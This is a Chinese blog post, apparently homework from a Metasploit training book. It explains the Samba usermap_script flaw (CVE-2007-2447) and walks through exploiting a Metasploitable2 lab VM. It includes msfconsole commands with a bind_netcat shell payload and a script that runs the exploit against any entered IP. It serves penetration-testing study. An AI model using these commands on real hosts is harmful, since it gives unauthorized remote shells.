1,

Samba服务

Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,
它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

 usermap_script是Samba协议的一个漏洞,ID为CVE-2007-2447,属于远程命令注入漏洞,主要影响Samba的3.0.20到3.0.25rc3 版本。

 当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令

漏洞生命周期图:

2007年5月7日:漏洞匿名披露到security@samba.org电子邮件列表中。
2007年5月7日:Samba的开发人员Gerald Carter开始响应这个漏洞。
2007年5月9日:Samba的开发者Jeremy Allison发布了补丁,用于iDefense测试。
2007年5月10日:向vendor-sec邮件列表发布通知。
2007年5月14日:公开漏洞信息。

 

可以在kali 上面找到相关信息:

 

samba官网关于此漏洞的相关信息:

https://www.samba.org/samba/security/CVE-2007-2447.html

漏洞相关链接:

https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

2,

更新Metasploit,百度

版本信息:

另外在msfconsole控制台输入banner可以查看metasploit的版本和攻击模块数量,以及metasploit的图标,算是彩蛋吧

3,

下载metasploitable2-Linux 在虚拟机里面,我们先让kali 和 linux互相Ping,看网络是否相通

网络相通了之后,按照书上的教程即可使用usermap_script漏洞获取Linux靶机的权限

我们先使用ifconfig查看两台虚拟机的在局域网内的ip地址,然后互ping

对了,linux靶机的账号和密码都是msfadmin,这个在登录的时候其实已经显示出来了

我们将网络都设置成NAT模式,linux靶机有两张网卡,第一张设置成NAT模式,第二张设置成仅主机模式。

先查看kali的ip地址

kali的ip地址为:10.10.10.128

接着我们查看linux靶机的ip地址,

可以看到这里的页面显示不完全,我们看到的只有第二张网卡即仅主机模式的那张网卡的ip地址,我们重定向一下输出,即

ifconfig > test

然后再 more test

可以看到

ip地址为10.10.10.254

两台虚拟机相互ping一下可知是互通的

接着按照书上的教程一样即可

首先使用samba的usermap_script模块

msf5 > use multi/samba/usermap_script

  接着选择攻击载荷:

msf5 exploit(multi/samba/usermap_script) > set payload cmd/unix/bind_netcat

  可以查看一下选项设置 show options

可以知道我们要设置攻击的ip地址RHOSTS

set RHOSTS 10.10.10.254

  设置好了之后输入exploit即可

可以看到我们已经获取到了会话

尝试植入VNC图形化远程控制工具,网上没有相关的介绍,想法是传一个木马在linux上运行,获取shell之后在meterpreter界面run vnc开启远程桌面

4,

题目是需要我们使用msfcli命令行接口编写shell脚本程序来进行交互,也就是我们只需要输入目标ip就可以获得目标主机的会话。

这里的小知识点是

控制台选项:

-x,--execute-command COMMAND     执行指定的字符串作为控制台命令(使用;用于multiples)

这样我们只需要指定msfconsole执行我们输入的ip地址就可以了。

所以我们编写如下代码,看大佬的代码写的:

echo "this is a shell code for test CVE-2007-4779"
echo "please input target_ip"
read target_ip
echo "the target ip is $target_ip"
echo "please wait--------" msfconsole -x "use multi/samba/usermap_script;set RHOST $target_ip;set payload cmd/unix/bind_netcat;exploit"

  

短暂等待开启msf之后就可以获取输入目标ip的会话了

Metasploit魔鬼训练营第一章作业的更多相关文章

  1. MSF魔鬼训练营第一章 初识Metasploit

    1.1.4渗透测试过程环节 PTES标准7个阶段 1.前期交互阶段      收集客户需求.准备测试计划.定义测试范围与边界.定义业务目标.项目管理与规划等 2.情报搜集阶段      公开来源信息查 ...

  2. OOP 第一章作业总结

    程序设计结构分析 类图分析 第一次作业 由于第一次作业完成的功能比较简单,而且出于对面向对象设计理念不熟悉(其实现在也不是很熟悉,逃),整个程序设计的非常简单.通过类图(见下)可以看出,程序只有两个类 ...

  3. linux系统管理第一章作业

    上机作业: 1.请用命令查出ifconfig命令程序的绝对路径 [root@localhost ~]# which ifconfig /usr/sbin/ifconfig 2.请用命令展示以下命令哪些 ...

  4. 《Metasploit魔鬼训练营》第一章实践作业

    <Metasploit魔鬼训练营>第一章实践作业 1.搜集Samba服务usermap_script安全漏洞的相关信息,画出该安全漏洞的生命周期图,标注各个重要事件点的日期,并提供详细描述 ...

  5. SQL 第二章 作业

    /*第二章 作业*/ create table S ( sno char(2) NOT NULL UNIQUE, sname char(3), city char(2) ); alter table ...

  6. 第一章ASP.NET SignalR简介

    第一章ASP.NET SignalR简介 1.1概述: ASP.NET SignalR是微软新开发的类库,为的是帮助ASP.NET开发人员很方便地开发实时网络功能. SignalR允许服务器端和客户端 ...

  7. Python开发入门14天集训营-第一章

    python第一章 python变量 变量的作用 存数据 被程序调用和操作 标记数据 声明变量 name = "Ydh" 变量名 = 变量值 变量定义规范: 变量名只能是 字母.数 ...

  8. Java第一周作业

    Java第一周作业 本周作业: 参考<<教材学习指导(http://www.cnblogs.com/rocedu/p/7911138.html)) 学习第一章视频 参考<<使用 ...

  9. Linux第一章第二章学习笔记

    第一章 Linux内核简介 1.1 Unix的历史 它是现存操作系统中最强大最优秀的系统. 设计简洁,在发布时提供原代码. 所有东西都被当做文件对待. Unix的内核和其他相关软件是用C语言编写而成的 ...

随机推荐

  1. 自己常用的Content-Type几种值用法

    Content-Type 的值类型: application/json:消息主体是序列化后的 JSON 字符串 这里要注意的是 我在使用webapi,前台使用$.ajax的时候 假如我要传递的数据为 ...

  2. Ocelot快速入门教程

    Ocelot是什么 Ocelot是一个用.NET Core实现并且开源的API网关,就像一个公司的门卫承担着寻址.限制进入.安全检查.位置引导.等等功能.它的功能包括了:路由.请求聚合.服务发现.认证 ...

  3. tp3.2 前端截取字符串

    在Common目录中建立 function.php <?php function subtext($text, $length) { if(mb_strlen($text, 'utf8') &g ...

  4. cmd 命令行

    理想的情况下,所有的程序都能自描述, 比如 mysql -h,支持哪些命令,每项命令需要哪些参数 命令行工具有几个有关进程的命令, tasklist taskkill http://hi.baidu. ...

  5. <摘自>飞:jxl简析[ http://www.emlog.net/fei ]

    <摘自>飞:jxl简析:http://www.emlog.net/fei 最近,完成了一个网上报表系统,刚巧用到了一个 JAVA 操作 excel 表格的 API .闲来无事,就将其大概的 ...

  6. 402. 移掉K位数字

    给定一个以字符串表示的非负整数 num,移除这个数中的 k 位数字,使得剩下的数字最小. 注意: num 的长度小于 10002 且 ≥ k.num 不会包含任何前导零.示例 1 : 输入: num ...

  7. 《.NET 5.0 背锅案》第7集-大结局:捉拿真凶 StackExchange.Redis.Extensions 归案

    第1集:验证 .NET 5.0 正式版 docker 镜像问题 第2集:码中的小窟窿,背后的大坑,发现重要嫌犯 EnyimMemcachedCore 第3集-剧情反转:EnyimMemcachedCo ...

  8. Appium常用操作之「Toast提示信息获取」

    坚持原创输出,点击蓝字关注我吧 作者:清菡 博客:Oschina.云+社区.知乎等各大平台都有. 目录 一.什么是 Toast 二.获取 Toast 提示信息的前提 1.针对这种元素,有的时候我们需要 ...

  9. [LeetCode题解]83. 删除排序链表中的重复元素 | 递归 + 迭代

    方法一:递归 解题思路 通过递归法,每次判断目前头节点与给定的节点是否相等.如是,继续判断下一个节点,否则保存当前头节点,设置 next 指向下次递归得到的节点,然后返回当前节点. 代码 /** * ...

  10. Spring第三天,详解Bean的生命周期,学会后让面试官无话可说!

    点击下方链接回顾往期 不要再说不会Spring了!Spring第一天,学会进大厂! Spring第二天,你必须知道容器注册组件的几种方式!学废它吊打面试官! 今天讲解Spring中Bean的生命周期. ...